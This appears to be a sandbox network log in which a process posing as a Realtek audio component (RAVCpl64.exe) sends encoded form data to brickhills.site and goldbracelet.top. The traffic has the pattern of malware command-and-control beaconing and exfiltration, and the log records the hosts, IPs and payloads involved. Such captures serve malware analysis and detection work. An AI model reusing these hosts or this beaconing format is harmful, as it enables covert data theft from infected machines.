Dec 3, 2024 14:53:24.509988070 CET	689	OUT	POST /vwn2/ HTTP/1.1 Host: www.brickhills.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.brickhills.site Referer: http://www.brickhills.site/vwn2/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 78 5a 56 78 4a 5a 77 73 5a 6d 72 79 30 76 67 54 63 49 75 7a 67 35 76 4e 33 37 54 2f 50 6c 2b 41 44 78 6f 45 51 58 4d 34 55 4d 54 49 63 33 6e 35 54 76 71 77 5a 4f 66 32 65 48 53 68 4c 45 34 59 4e 77 48 68 4e 63 4d 4c 32 4f 78 69 30 71 50 76 38 6e 4e 6e 42 49 56 4e 32 6f 52 43 6e 33 34 5a 66 6b 33 54 72 34 47 4a 49 55 42 65 6c 77 4a 51 54 50 56 76 4b 2f 2f 6b 31 67 76 72 49 6f 30 49 51 43 34 30 63 31 62 6f 68 49 73 50 72 41 31 39 2b 61 64 72 32 4c 59 78 62 33 71 6d 6b 47 71 74 61 46 62 69 31 44 4e 79 50 59 38 49 53 56 4c 4f 67 4b 39 78 6c 53 64 39 73 5a 70 65 49 61 62 6e 5a 41 3d 3d Data Ascii: pluxVm=xZVxJZwsZmry0vgTcIuzg5vN37T/Pl+ADxoEQXM4UMTIc3n5TvqwZOf2eHShLE4YNwHhNcML2Oxi0qPv8nNnBIVN2oRCn34Zfk3Tr4GJIUBelwJQTPVvK//k1gvrIo0IQC40c1bohIsPrA19+adr2LYxb3qmkGqtaFbi1DNyPY8ISVLOgK9xlSd9sZpeIabnZA==
Dec 3, 2024 14:53:24.700347900 CET	874	IN	HTTP/1.1 200 OK date: Tue, 03 Dec 2024 13:53:24 GMT server: Apache set-cookie: __tad=1733234004.7002375; expires=Fri, 01-Dec-2034 13:53:24 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 579 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 57 6c 03 12 db 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 59 f2 24 26 69 50 e4 bf 97 72 dc 8f 75 87 56 17 5b d4 23 df 7b 34 e5 a2 a5 4e 57 51 d1 a2 a8 f9 41 8a 34 56 4b a7 e4 a6 55 5a fb cc 2b c2 22 3f 85 a3 c2 4b a7 7a 02 3a f4 58 c6 84 b7 94 af c5 4e 9c a2 31 78 27 cb 38 5f fb bc 51 66 85 ae 77 ca 50 ae 54 83 59 a7 4c b6 f6 71 55 e4 27 ec 6b a5 aa 68 27 1c 38 ac 95 43 49 7f b4 32 1b 28 21 69 89 fa 79 9e ef f7 fb ec 85 c4 7c b7 37 ef f3 cf c9 22 8a f2 1c 6e 90 40 00 a9 0e ed 96 c0 36 70 35 9b 41 a7 a4 b3 1e a5 35 b5 07 b2 80 b7 28 b7 84 0c 7c e0 01 d5 00 b5 08 cf e4 43 ef 6c a7 3c c7 84 d2 1e 1a eb c0 db 0e 39 45 78 6b a2 66 6b 24 29 6b f8 58 eb a5 90 9b eb b1 54 3a 85 bb 68 b2 57 a6 b6 fb 4c 5b 29 02 2a 73 d8 6b 21 31 fd c7 d8 79 d2 f4 e5 c5 a7 64 ba 88 8e 51 44 ee 10 32 59 a5 27 70 b5 fb 35 9a 28 c1 23 8d 9b f4 25 db bb 60 90 f3 27 a1 6b 4d ff 73 d4 5c c2 d7 27 27 df 6f 58 87 a8 d3 bb ce 1a 45 96 43 ab 79 90 ed f1 18 [TRUNCATED] Data Ascii: TMo0=pvNWl;a"Y$&iPruV[#{4NWQA4VKUZ+"?Kz:XN1x'8_QfwPTYLqU'kh'8CI2(!iy\|7"n@6p5A5(\|Cl<9Exkfk$)kXT:hWL[)sk!1ydQD2Y'p5(#%`'kMs\''oXECy2$&ZB3}jw#:vobIRnz:}[tM<57vG`ZJZm]5!-og-j!LjYa\$U!uqZt8L!tE.1S;Z:$U/Vim<Ee<[?kX{{11#0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.20	49789	103.224.182.242	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:53:27.206959963 CET	709	OUT	POST /vwn2/ HTTP/1.1 Host: www.brickhills.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.brickhills.site Referer: http://www.brickhills.site/vwn2/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 78 5a 56 78 4a 5a 77 73 5a 6d 72 79 31 50 77 54 54 4c 57 7a 72 35 76 4f 39 62 54 2f 42 31 2b 63 44 78 73 45 51 54 56 7a 55 2f 6e 49 63 54 6a 35 53 75 71 77 59 4f 66 32 57 6e 53 6b 55 55 35 55 4e 77 4c 70 4e 65 49 4c 32 4f 6c 69 30 6f 58 76 2f 55 31 6f 48 49 56 44 74 34 52 41 70 58 34 5a 66 6b 33 54 72 35 6d 7a 49 55 5a 65 6c 44 52 51 43 65 56 6f 4a 2f 2f 6e 39 41 76 72 43 34 30 45 51 43 35 52 63 30 48 43 68 4b 6b 50 72 46 52 39 2f 4c 64 73 38 4c 59 7a 47 6e 72 47 30 6d 44 2f 61 6b 69 52 6a 68 42 7a 58 61 4d 6a 58 44 47 55 39 34 4a 56 6d 42 42 50 6f 70 51 32 4b 59 61 38 45 4b 52 64 76 48 30 2f 4b 2f 7a 52 44 51 38 43 39 47 4a 77 43 38 38 3d Data Ascii: pluxVm=xZVxJZwsZmry1PwTTLWzr5vO9bT/B1+cDxsEQTVzU/nIcTj5SuqwYOf2WnSkUU5UNwLpNeIL2Oli0oXv/U1oHIVDt4RApX4Zfk3Tr5mzIUZelDRQCeVoJ//n9AvrC40EQC5Rc0HChKkPrFR9/Lds8LYzGnrG0mD/akiRjhBzXaMjXDGU94JVmBBPopQ2KYa8EKRdvH0/K/zRDQ8C9GJwC88=
Dec 3, 2024 14:53:27.401585102 CET	874	IN	HTTP/1.1 200 OK date: Tue, 03 Dec 2024 13:53:27 GMT server: Apache set-cookie: __tad=1733234007.2576216; expires=Fri, 01-Dec-2034 13:53:27 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 579 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 57 6c 03 12 db 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 59 f2 24 26 69 50 e4 bf 97 72 dc 8f 75 87 56 17 5b d4 23 df 7b 34 e5 a2 a5 4e 57 51 d1 a2 a8 f9 41 8a 34 56 4b a7 e4 a6 55 5a fb cc 2b c2 22 3f 85 a3 c2 4b a7 7a 02 3a f4 58 c6 84 b7 94 af c5 4e 9c a2 31 78 27 cb 38 5f fb bc 51 66 85 ae 77 ca 50 ae 54 83 59 a7 4c b6 f6 71 55 e4 27 ec 6b a5 aa 68 27 1c 38 ac 95 43 49 7f b4 32 1b 28 21 69 89 fa 79 9e ef f7 fb ec 85 c4 7c b7 37 ef f3 cf c9 22 8a f2 1c 6e 90 40 00 a9 0e ed 96 c0 36 70 35 9b 41 a7 a4 b3 1e a5 35 b5 07 b2 80 b7 28 b7 84 0c 7c e0 01 d5 00 b5 08 cf e4 43 ef 6c a7 3c c7 84 d2 1e 1a eb c0 db 0e 39 45 78 6b a2 66 6b 24 29 6b f8 58 eb a5 90 9b eb b1 54 3a 85 bb 68 b2 57 a6 b6 fb 4c 5b 29 02 2a 73 d8 6b 21 31 fd c7 d8 79 d2 f4 e5 c5 a7 64 ba 88 8e 51 44 ee 10 32 59 a5 27 70 b5 fb 35 9a 28 c1 23 8d 9b f4 25 db bb 60 90 f3 27 a1 6b 4d ff 73 d4 5c c2 d7 27 27 df 6f 58 87 a8 d3 bb ce 1a 45 96 43 ab 79 90 ed f1 18 [TRUNCATED] Data Ascii: TMo0=pvNWl;a"Y$&iPruV[#{4NWQA4VKUZ+"?Kz:XN1x'8_QfwPTYLqU'kh'8CI2(!iy\|7"n@6p5A5(\|Cl<9Exkfk$)kXT:hWL[)sk!1ydQD2Y'p5(#%`'kMs\''oXECy2$&ZB3}jw#:vobIRnz:}[tM<57vG`ZJZm]5!-og-j!LjYa\$U!uqZt8L!tE.1S;Z:$U/Vim<Ee<[?kX{{11#0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.20	49790	103.224.182.242	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:53:29.909235001 CET	2578	OUT	POST /vwn2/ HTTP/1.1 Host: www.brickhills.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.brickhills.site Referer: http://www.brickhills.site/vwn2/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 78 5a 56 78 4a 5a 77 73 5a 6d 72 79 31 50 77 54 54 4c 57 7a 72 35 76 4f 39 62 54 2f 42 31 2b 63 44 78 73 45 51 54 56 7a 55 2f 2f 49 66 6d 33 35 54 4e 43 77 62 4f 66 32 59 48 53 6c 55 55 35 64 4e 77 6a 74 4e 65 45 39 32 4e 64 69 33 4e 4c 76 30 46 31 6f 55 6f 56 44 6b 59 52 42 6e 33 35 45 66 6e 66 66 72 35 57 7a 49 55 5a 65 6c 47 64 51 43 50 56 6f 50 2f 2f 6b 31 67 76 33 49 6f 30 67 51 43 68 6e 63 30 44 34 68 62 45 50 73 6c 42 39 38 35 46 73 6d 4c 59 31 46 6e 72 6b 30 6d 65 68 61 6e 58 67 6a 67 31 64 58 64 34 6a 61 79 72 51 6c 62 42 49 6c 78 64 50 72 4b 45 52 65 71 43 56 61 59 64 67 67 6b 59 45 49 4a 50 45 4a 78 73 56 69 32 68 33 54 73 50 49 7a 59 38 38 69 34 69 33 58 75 4d 38 39 6c 58 6e 6d 4a 47 34 55 74 6c 2b 33 4c 65 63 6a 65 7a 5a 67 55 36 74 76 61 6f 54 68 46 4b 44 66 38 32 56 2b 41 63 68 47 53 4d 48 76 4c 51 69 49 34 76 30 66 6f 51 2b 6e 2f 61 31 50 39 68 44 6c 6a 75 58 46 6a 4f 55 35 38 6a 6b 4b 6f 7a 4f 43 67 5a 36 6f 56 4c 58 79 49 7a 71 51 48 7a 4c 2b 77 51 4e 62 55 61 [TRUNCATED] Data Ascii: pluxVm=xZVxJZwsZmry1PwTTLWzr5vO9bT/B1+cDxsEQTVzU//Ifm35TNCwbOf2YHSlUU5dNwjtNeE92Ndi3NLv0F1oUoVDkYRBn35Efnffr5WzIUZelGdQCPVoP//k1gv3Io0gQChnc0D4hbEPslB985FsmLY1Fnrk0mehanXgjg1dXd4jayrQlbBIlxdPrKEReqCVaYdggkYEIJPEJxsVi2h3TsPIzY88i4i3XuM89lXnmJG4Utl+3LecjezZgU6tvaoThFKDf82V+AchGSMHvLQiI4v0foQ+n/a1P9hDljuXFjOU58jkKozOCgZ6oVLXyIzqQHzL+wQNbUafLjmKEJKz6vRxqFwMFkvLhsfABSfrxnBH86YwfMd35nBCRpXhdlF8hUMM4LQt2rVyjWosHqav26pfaepbWBxQ8I3/qkSFpa48IX39BBNQm9Sd4OilVcjAGdEfWmcnbN6sfmU4aprj8OjN6gSxe0FZrD5WjDnHz3GziRQ6ciH1aVUpQhqCTEv4P2nFIgcCZBT7VkO0+nRpgAOhCKq5d0wC/CI+/hPbIan8quFhnCpgXaJH06ICd/z2PvMuPLRKZxFTu1dgXjYgyFqaum2LmE4pNQBD5DFniZ91fLv8OjZdxm3LYOJK4EDPbIeA8VihCa32JUlds9xQmjkFsDZRQEqsXZIICpV0Nv/r0pIp+y79tmCXiOjRo02NmIZ4FxK38CR9FoalI1UX8oe0WPR9l4j0X97KZ4jLFXXQiVp9BDQ1OlbZwF0InWnwFtK90rDPMNjHC3/R9qVebewOJK/wnThZ0RxIUQUsNGZvTlGJOr1d6gmRvcoE1eAKbHzV0Okl5jY7QKQzSSxZkKA30ghTFq7waJ1FbkKxHulMt4mSBpmu14TXHKPMll9eEGd9VrmiTHvoor3Rpu0im8Z2jhjlbVr6WMk1J+1PQmb2vodKsd3xIzgeV6lZtKWPZ26aye9d7gBxklr6gHqulp28S6i7nJt0IbVbIvxSSaYaB [TRUNCATED]
Dec 3, 2024 14:53:29.909264088 CET	5156	OUT	Data Raw: 2b 33 2b 6e 39 51 68 37 6f 46 2f 32 50 50 73 4c 44 67 75 70 32 65 6b 74 39 7a 58 32 6f 67 6a 77 65 6f 65 66 6f 35 67 6e 76 52 52 69 50 4b 68 76 53 74 74 56 2f 42 32 43 6b 5a 30 63 50 46 49 6d 42 36 6d 75 7a 54 52 49 6c 43 78 65 77 47 34 42 61 76 Data Ascii: +3+n9Qh7oF/2PPsLDgup2ekt9zX2ogjweoefo5gnvRRiPKhvSttV/B2CkZ0cPFImB6muzTRIlCxewG4BavWj4vZPPS4pejifR3iTJ1attUBLhYYgMq+0+qVyFTlLQAVp7xe2rVC6lO/iwnpXLLR1x204NIAJHLun05kRUmQpI1DBxu2e5g3f8gbIuQoI1iht6BCG2Swb+BMwevu6xy0JvCWepCc5FeSrApqcfp9BGvNYwg8Qqvu
Dec 3, 2024 14:53:29.909336090 CET	124	OUT	Data Raw: 52 73 78 35 7a 31 64 68 6b 31 66 67 6b 4f 71 6c 47 6a 33 46 4a 47 4c 66 54 53 46 47 54 41 33 35 56 76 4c 6d 48 55 59 66 32 77 67 47 71 6a 49 70 48 43 6f 6d 66 32 43 6f 71 74 36 7a 58 64 58 4f 78 4d 59 79 4c 56 4d 55 75 64 38 52 42 65 34 61 52 48 Data Ascii: Rsx5z1dhk1fgkOqlGj3FJGLfTSFGTA35VvLmHUYf2wgGqjIpHComf2Coqt6zXdXOxMYyLVMUud8RBe4aRH2TcQlEX8n91Iq/SoYlU556K4LxCSW7kkKpMulDjg==
Dec 3, 2024 14:53:30.117734909 CET	874	IN	HTTP/1.1 200 OK date: Tue, 03 Dec 2024 13:53:29 GMT server: Apache set-cookie: __tad=1733234009.7981421; expires=Fri, 01-Dec-2034 13:53:29 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 579 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 57 6c 03 12 db 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 59 f2 24 26 69 50 e4 bf 97 72 dc 8f 75 87 56 17 5b d4 23 df 7b 34 e5 a2 a5 4e 57 51 d1 a2 a8 f9 41 8a 34 56 4b a7 e4 a6 55 5a fb cc 2b c2 22 3f 85 a3 c2 4b a7 7a 02 3a f4 58 c6 84 b7 94 af c5 4e 9c a2 31 78 27 cb 38 5f fb bc 51 66 85 ae 77 ca 50 ae 54 83 59 a7 4c b6 f6 71 55 e4 27 ec 6b a5 aa 68 27 1c 38 ac 95 43 49 7f b4 32 1b 28 21 69 89 fa 79 9e ef f7 fb ec 85 c4 7c b7 37 ef f3 cf c9 22 8a f2 1c 6e 90 40 00 a9 0e ed 96 c0 36 70 35 9b 41 a7 a4 b3 1e a5 35 b5 07 b2 80 b7 28 b7 84 0c 7c e0 01 d5 00 b5 08 cf e4 43 ef 6c a7 3c c7 84 d2 1e 1a eb c0 db 0e 39 45 78 6b a2 66 6b 24 29 6b f8 58 eb a5 90 9b eb b1 54 3a 85 bb 68 b2 57 a6 b6 fb 4c 5b 29 02 2a 73 d8 6b 21 31 fd c7 d8 79 d2 f4 e5 c5 a7 64 ba 88 8e 51 44 ee 10 32 59 a5 27 70 b5 fb 35 9a 28 c1 23 8d 9b f4 25 db bb 60 90 f3 27 a1 6b 4d ff 73 d4 5c c2 d7 27 27 df 6f 58 87 a8 d3 bb ce 1a 45 96 43 ab 79 90 ed f1 18 [TRUNCATED] Data Ascii: TMo0=pvNWl;a"Y$&iPruV[#{4NWQA4VKUZ+"?Kz:XN1x'8_QfwPTYLqU'kh'8CI2(!iy\|7"n@6p5A5(\|Cl<9Exkfk$)kXT:hWL[)sk!1ydQD2Y'p5(#%`'kMs\''oXECy2$&ZB3}jw#:vobIRnz:}[tM<57vG`ZJZm]5!-og-j!LjYa\$U!uqZt8L!tE.1S;Z:$U/Vim<Ee<[?kX{{11#0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.20	49791	103.224.182.242	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:53:32.610766888 CET	422	OUT	GET /vwn2/?Z1EO=OvfHeluUy&pluxVm=8b9RKtQSBHH07PxtYsipjL/lqfXqYX+jQmAZaw9GROHGYV74Mu7xY5rUUGbBS35lPyHtHPQD+8VPnbju2HtxZfcyuqMzjQoAFmm58sa9OXwe8h9QCPhjB/0= HTTP/1.1 Host: www.brickhills.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:53:32.805866003 CET	1289	IN	HTTP/1.1 200 OK date: Tue, 03 Dec 2024 13:53:32 GMT server: Apache set-cookie: __tad=1733234012.2878163; expires=Fri, 01-Dec-2034 13:53:32 GMT; Max-Age=315360000 vary: Accept-Encoding content-length: 1501 content-type: text/html; charset=UTF-8 connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 62 72 69 63 6b 68 69 6c 6c 73 2e 73 69 74 65 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6a 73 2f 66 69 6e 67 65 72 70 72 69 6e 74 2f 69 69 66 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 76 61 72 20 72 65 64 69 72 65 63 74 5f 6c 69 6e 6b 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 62 72 69 63 6b 68 69 6c 6c 73 2e 73 69 74 65 2f 76 77 6e 32 2f 3f 5a 31 45 4f 3d 4f 76 66 48 65 6c 75 55 79 26 70 6c 75 78 56 6d 3d 38 62 39 52 4b 74 51 53 42 48 48 30 37 50 78 74 59 73 69 70 6a 4c 2f 6c 71 66 58 71 59 58 2b 6a 51 6d 41 5a 61 77 39 47 52 4f 48 47 59 56 37 34 4d 75 37 78 59 35 72 55 55 47 62 42 53 33 35 6c 50 79 48 74 48 50 51 44 2b 38 56 50 6e 62 6a 75 32 48 74 78 5a 66 63 79 75 71 4d 7a 6a 51 6f 41 46 6d 6d 35 38 73 61 39 4f 58 77 65 38 68 [TRUNCATED] Data Ascii: <html><head><title>brickhills.site</title><script type="text/javascript" src="/js/fingerprint/iife.min.js"></script><script type="text/javascript">var redirect_link = 'http://www.brickhills.site/vwn2/?Z1EO=OvfHeluUy&pluxVm=8b9RKtQSBHH07PxtYsipjL/lqfXqYX+jQmAZaw9GROHGYV74Mu7xY5rUUGbBS35lPyHtHPQD+8VPnbju2HtxZfcyuqMzjQoAFmm58sa9OXwe8h9QCPhjB/0=&';// Set a timeout of 300 microseconds to execute a redirect if the fingerprint promise fails for some reasonfunction fallbackRedirect() {window.location.replace(redirect_link+'fp=-7');}try {const rdrTimeout = setTimeout(fallbackRedirect, 300);var fpPromise = FingerprintJS.load({monitoring: false});fpPromise.then(fp => fp.get()).then(result => { var fprt = 'fp='+result.visitorId;clearTimeout(rdrTimeout);window.location.replace(redirect_link+fprt);});} catch(err) {fallbackRedirect();}</script><style> body { background:#101c36 } </style></head><body bgcolor="#ffffff" text="#000000"><div style='display: non [TRUNCATED]
Dec 3, 2024 14:53:32.805881977 CET	484	IN	Data Raw: 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 62 72 69 63 6b 68 69 6c 6c 73 2e 73 69 74 65 2f 76 77 6e 32 2f 3f 5a 31 45 4f 3d 4f 76 66 48 65 6c 75 55 79 26 70 6c 75 78 56 6d 3d 38 62 39 52 4b 74 51 53 42 48 48 30 37 50 78 74 59 73 69 Data Ascii: a href='http://www.brickhills.site/vwn2/?Z1EO=OvfHeluUy&pluxVm=8b9RKtQSBHH07PxtYsipjL/lqfXqYX+jQmAZaw9GROHGYV74Mu7xY5rUUGbBS35lPyHtHPQD+8VPnbju2HtxZfcyuqMzjQoAFmm58sa9OXwe8h9QCPhjB/0=&fp=-3'>Click here to enter</a></div><noscript><meta http-e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.20	49792	172.67.201.49	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:53:46.224631071 CET	692	OUT	POST /qrpv/ HTTP/1.1 Host: www.goldbracelet.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.goldbracelet.top Referer: http://www.goldbracelet.top/qrpv/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 62 67 2f 55 49 45 75 32 50 30 6b 78 54 7a 72 39 2f 4a 65 35 4f 58 78 41 57 4a 73 59 34 41 6e 41 6f 6f 46 79 36 52 35 36 2f 48 41 71 6f 76 52 6a 2b 34 6a 38 70 58 68 4e 43 45 42 71 4b 76 6e 6f 6d 68 6b 78 76 49 71 63 59 45 65 47 75 77 65 34 52 48 52 33 4f 47 6a 73 4b 4a 70 55 4d 4b 74 50 46 43 4a 49 69 46 35 78 69 79 57 31 4e 55 30 49 35 4a 57 77 37 61 6e 46 64 46 6e 44 72 31 6c 75 68 50 56 4f 67 4c 69 36 52 54 2f 33 6d 6c 79 53 32 72 52 6d 55 54 66 4a 4d 45 31 6e 58 32 34 64 52 67 62 74 32 57 2f 65 69 45 47 4e 4d 6b 34 6b 77 4d 46 7a 55 32 39 43 68 6f 45 52 52 36 76 41 63 51 3d 3d Data Ascii: pluxVm=bg/UIEu2P0kxTzr9/Je5OXxAWJsY4AnAooFy6R56/HAqovRj+4j8pXhNCEBqKvnomhkxvIqcYEeGuwe4RHR3OGjsKJpUMKtPFCJIiF5xiyW1NU0I5JWw7anFdFnDr1luhPVOgLi6RT/3mlyS2rRmUTfJME1nX24dRgbt2W/eiEGNMk4kwMFzU29ChoERR6vAcQ==
Dec 3, 2024 14:53:46.363487005 CET	916	IN	HTTP/1.1 403 Forbidden Date: Tue, 03 Dec 2024 13:53:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ONeeRoabhrNsJJhgdNF9R3wL3UE7ON6xRxKxvuOUFjoMUehqYhaGj3iFTc6tENmViJNABpc9iUmHIUfxNi%2BfyPaxS5GEoiZ3gQUFIHJ3f5cp6lRi4bKF5Kf5IICJHDiFBycduC9AVg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec40b783c4143c9-EWR Content-Encoding: gzip alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=102805&min_rtt=102805&rtt_var=51402&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=692&delivery_rate=0&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 6d 78 95 8e 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Vp/JLIIr$T";Ctv6PiEv0yyr0.mx
Dec 3, 2024 14:53:46.363590002 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.20	49793	172.67.201.49	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:53:48.855215073 CET	712	OUT	POST /qrpv/ HTTP/1.1 Host: www.goldbracelet.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.goldbracelet.top Referer: http://www.goldbracelet.top/qrpv/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 62 67 2f 55 49 45 75 32 50 30 6b 78 53 53 62 39 39 71 6d 35 4a 33 78 44 5a 70 73 59 33 67 6d 4a 6f 6f 4a 79 36 51 38 39 2f 56 55 71 70 50 42 6a 35 38 58 38 75 58 68 4e 4d 6b 42 72 46 50 6e 68 6d 68 6f 50 76 4e 43 63 59 45 36 47 75 31 69 34 51 30 4a 34 4f 57 6a 79 46 70 70 61 43 71 74 50 46 43 4a 49 69 46 74 62 69 79 4f 31 4e 6c 45 49 35 6f 57 7a 36 61 6e 4b 4d 46 6e 44 67 56 6c 71 68 50 55 64 67 4b 2f 64 52 52 48 33 6d 67 4f 53 33 36 52 68 62 54 66 4c 43 6b 31 7a 53 57 56 79 65 51 33 4e 37 58 66 7a 6e 57 57 36 4e 79 31 2b 74 2b 78 58 58 6c 68 77 6c 59 39 35 54 34 75 62 42 61 53 30 53 32 62 47 58 49 5a 30 39 46 4f 6f 79 4d 42 6a 38 44 73 3d Data Ascii: pluxVm=bg/UIEu2P0kxSSb99qm5J3xDZpsY3gmJooJy6Q89/VUqpPBj58X8uXhNMkBrFPnhmhoPvNCcYE6Gu1i4Q0J4OWjyFppaCqtPFCJIiFtbiyO1NlEI5oWz6anKMFnDgVlqhPUdgK/dRRH3mgOS36RhbTfLCk1zSWVyeQ3N7XfznWW6Ny1+t+xXXlhwlY95T4ubBaS0S2bGXIZ09FOoyMBj8Ds=
Dec 3, 2024 14:53:48.988478899 CET	922	IN	HTTP/1.1 403 Forbidden Date: Tue, 03 Dec 2024 13:53:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o5XxtAP1KZgtxTkAjy8mtLYFaG9eSo0eGmy8AAmKSOXHeb3SBaTfqnvRix%2FOdf%2F%2FD84HlRaNnZujrV0Ob01l2ujWtw7MoynFLFycsSPKgn0Y%2FtT3pzegW9pfZNUnQ9tYssE7Wxy1Zw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec40b88ad50de97-EWR Content-Encoding: gzip alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=102703&min_rtt=102703&rtt_var=51351&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=712&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 6d 78 95 8e 92 00 00 00 0d 